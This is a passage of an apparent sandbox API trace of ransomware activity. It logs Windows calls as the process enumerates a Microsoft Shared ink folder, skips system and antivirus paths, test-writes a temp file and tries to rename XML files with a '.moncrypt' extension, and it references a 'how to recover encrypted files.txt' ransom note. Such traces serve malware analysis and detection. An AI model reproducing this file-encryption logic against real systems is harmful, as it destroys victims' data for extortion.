returned 0x440004 [0046.368] GlobalUnlock (hMem=0x440004) returned 0 [0046.368] GlobalLock (hMem=0x440004) returned 0x552180 [0046.368] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.368] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.368] GlobalUnlock (hMem=0x440004) returned 0 [0046.368] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.368] GlobalUnlock (hMem=0x44000c) returned 0 [0046.368] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.368] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0046.369] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.369] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0046.369] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.369] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0046.369] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.369] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0046.369] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.369] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0046.369] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.369] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0046.370] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.370] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0046.370] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.370] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0046.370] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.370] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0046.370] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.370] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.370] GlobalUnlock (hMem=0x44000c) returned 0 [0046.370] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.370] GlobalLock (hMem=0x440004) returned 0x554190 [0046.370] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.370] GlobalUnlock (hMem=0x44000c) returned 0 [0046.370] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.370] GlobalUnlock (hMem=0x440004) returned 0 [0046.371] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d98, cbMultiByte=3, lpWideCharStr=0x18d758, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0046.371] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0046.371] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.371] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0046.371] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0046.371] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.372] GlobalLock (hMem=0x440004) returned 0x553188 [0046.372] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.372] GlobalUnlock (hMem=0x440004) returned 0 [0046.372] GlobalLock (hMem=0x440004) returned 0x553188 [0046.372] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.372] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.372] GlobalUnlock (hMem=0x440004) returned 0 [0046.372] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.372] GlobalUnlock (hMem=0x44000c) returned 0 [0046.372] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.372] CharLowerBuffW (in: lpsz="base.xml", cchLength=0x8 | out: lpsz="base.xml") returned 0x8 [0046.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.372] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0046.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", cchWideChar=78, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xmlt", lpUsedDefaultChar=0x0) returned 78 [0046.372] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\main\\base.xmlt", lpUsedDefaultChar=0x0) returned 4 [0046.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0046.373] WriteFile (in: hFile=0x190, lpBuffer=0x1e61db8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61db8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0046.374] CloseHandle (hObject=0x190) returned 1 [0046.374] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\я")) returned 1 [0046.375] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 0x54e280 [0046.375] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0046.375] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0046.375] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0046.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", dwFileAttributes=0x20) returned 0 [0046.377] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0046.377] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.moncrypt")) returned 0 [0046.377] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.377] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.377] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.377] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.377] GlobalUnlock (hMem=0x44000c) returned 0 [0046.377] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.377] GlobalLock (hMem=0x440004) returned 0x555198 [0046.378] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.378] GlobalUnlock (hMem=0x44000c) returned 0 [0046.378] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.378] GlobalUnlock (hMem=0x440004) returned 0 [0046.378] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.378] CharLowerBuffW (in: lpsz="baseAltGr_rtl.xml", cchLength=0x11 | out: lpsz="basealtgr_rtl.xml") returned 0x11 [0046.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.378] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0046.378] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", lpUsedDefaultChar=0x0) returned 4 [0046.378] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 0x54e280 [0046.379] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0046.379] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0046.379] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0046.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", dwFileAttributes=0x20) returned 0 [0046.379] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0046.379] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.moncrypt")) returned 0 [0046.379] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.379] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.379] GlobalLock (hMem=0x440004) returned 0x553188 [0046.379] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.379] GlobalUnlock (hMem=0x440004) returned 0 [0046.380] GlobalLock (hMem=0x440004) returned 0x553188 [0046.380] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.380] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.380] GlobalUnlock (hMem=0x440004) returned 0 [0046.380] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.380] GlobalUnlock (hMem=0x44000c) returned 0 [0046.380] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.380] CharLowerBuffW (in: lpsz="base_altgr.xml", cchLength=0xe | out: lpsz="base_altgr.xml") returned 0xe [0046.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 